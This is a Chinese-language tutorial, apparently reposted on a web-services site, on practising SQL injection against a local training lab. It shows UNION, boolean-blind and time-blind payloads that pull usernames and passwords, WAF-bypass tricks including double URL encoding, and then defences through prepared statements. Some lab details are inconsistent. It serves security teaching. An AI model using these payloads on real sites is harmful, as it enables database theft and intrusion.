☰
SQL注入靶场实战:从基础到进阶技术解析
2026/10/27 2:56:19 网站建设 项目流程

1. SQL注入靶场环境搭建与实战解析

最近在整理SQL注入相关的教学资料时,发现很多初学者对SQL注入的理解停留在理论层面,缺乏真实的操作环境。SQL-Lab Less 10这个靶场环境正好填补了这个空白,它模拟了常见的SQL注入漏洞场景,特别适合用来练习基础的注入技术。我花了三天时间完整测试了这个环境,下面就把我的实战经验和技巧分享给大家。

这个靶场最大的特点是采用了真实网站中常见的漏洞模式,包含GET和POST两种请求方式的注入点,覆盖了数字型、字符型和搜索型三种注入场景。与DVWA等综合靶场不同,SQL-Lab Less 10专注于SQL注入这一种漏洞类型,通过10个难度递增的关卡,帮助学习者系统掌握从基础到进阶的注入技术。

2. 环境准备与基础配置

2.1 系统需求与安装

SQL-Lab Less 10可以运行在任何支持PHP和MySQL的环境。我推荐使用XAMPP或Docker来搭建,这里以XAMPP为例说明具体步骤:

  1. 下载最新版XAMPP(当前版本8.2.4)
  2. 安装时勾选Apache、MySQL和PHP组件
  3. 将SQL-Lab Less 10的源码解压到htdocs目录下的sql-lab文件夹
  4. 启动Apache和MySQL服务

注意:如果使用Windows系统,建议关闭IIS服务避免端口冲突。Linux用户需要注意文件夹权限设置。

2.2 数据库初始化

靶场需要预先创建数据库和表结构,操作步骤如下:

CREATE DATABASE sql_lab; USE sql_lab; CREATE TABLE users ( id INT PRIMARY KEY, username VARCHAR(50), password VARCHAR(50), role VARCHAR(20) ); INSERT INTO users VALUES (1,'admin','5f4dcc3b5aa765d61d8327deb882cf99','admin');

密码字段存储的是MD5哈希值,这是Web应用中常见的密码存储方式。在实际渗透测试中,获取到这类哈希值后还需要进行破解。

3. 基础注入技术实战

3.1 第一关:数字型注入

第一关是最简单的数字型注入,URL参数形如:

http://localhost/sql-lab/less-1/?id=1

尝试在id参数后添加单引号:

http://localhost/sql-lab/less-1/?id=1'

如果页面返回数据库错误信息,说明存在SQL注入漏洞。此时可以构造联合查询获取敏感数据:

http://localhost/sql-lab/less-1/?id=-1 UNION SELECT 1,username,password FROM users--+

技巧:使用负数的id值是为了确保原始查询不返回结果,使UNION查询的结果能够完整显示。

3.2 第二关:字符型注入

第二关的URL形式与第一关相同,但SQL查询语句使用了引号包裹参数:

SELECT * FROM users WHERE username='$input'

这种情况下,我们需要先闭合前面的引号再构造注入语句:

http://localhost/sql-lab/less-2/?id=1' AND '1'='1

获取管理员密码的完整payload:

http://localhost/sql-lab/less-2/?id=1' UNION SELECT 1,username,password FROM users WHERE '1'='1

4. 进阶注入技术解析

4.1 布尔盲注技术

从第五关开始,靶场引入了盲注场景。即使SQL语句执行出错,页面也不会显示错误信息。这时需要使用布尔盲注技术,通过页面返回的真假状态推断数据。

以获取数据库用户名为例,可以构造如下测试:

http://localhost/sql-lab/less-5/?id=1' AND SUBSTRING(USER(),1,1)='r'--+

如果页面返回正常内容,说明数据库用户名的第一个字母是'r'。通过这种方可以逐个字符猜解出完整信息。

4.2 时间盲注技术

第七关引入了时间盲注,即使布尔条件不成立,页面返回也没有明显区别。这时需要通过响应时间来判断条件是否成立。

典型的时间盲注payload:

http://localhost/sql-lab/less-7/?id=1' AND IF(SUBSTRING(USER(),1,1)='r',SLEEP(5),0)--+

如果响应延迟约5秒,说明条件成立。这种技术在实际渗透中非常有用,但效率较低,通常需要配合脚本自动化完成。

5. 防御措施与安全建议

5.1 参数化查询

最有效的防御方式是使用参数化查询(Prepared Statements)。以PHP为例:

$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?"); $stmt->bind_param("i", $id); $stmt->execute();

这种方式将用户输入始终作为参数处理,不会将其解释为SQL语句的一部分。

5.2 输入验证与过滤

对于无法使用参数化查询的场景,应该对输入进行严格验证:

// 数字型参数验证 if(!is_numeric($_GET['id'])) { die("Invalid input"); } // 字符串参数过滤 $username = mysqli_real_escape_string($conn, $_POST['username']);

注意:单纯依赖过滤是不够的,因为可能存在绕过情况,应该作为辅助手段使用。

6. 常见问题排查

6.1 注入语句不生效

可能原因:

  1. 魔术引号(magic_quotes_gpc)开启 - 在php.ini中关闭
  2. WAF拦截 - 尝试使用注释符/**/或大小写混淆绕过
  3. 参数类型不匹配 - 确认是数字型还是字符型注入

6.2 获取的数据不完整

解决方案:

  1. 使用LIMIT子句分批获取:UNION SELECT 1,2,3 FROM users LIMIT 0,1
  2. 使用GROUP_CONCAT合并结果:UNION SELECT 1,GROUP_CONCAT(username),3 FROM users
  3. 检查字段数据类型是否匹配,必要时使用CAST转换

在实际测试中,我发现SQL-Lab Less 10的第六关特别容易让人困惑,它的过滤规则比较特殊,需要尝试多种编码方式才能绕过。经过多次测试,最终发现使用双重URL编码可以成功注入:

原始payload:

1' AND 1=1--+

第一次URL编码:

1%27%20AND%201%3D1--%2B

第二次URL编码:

1%2527%2520AND%25201%253D1--%252B

这种多层编码的技巧在实际渗透测试中经常用到,特别是遇到WAF时往往有奇效。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询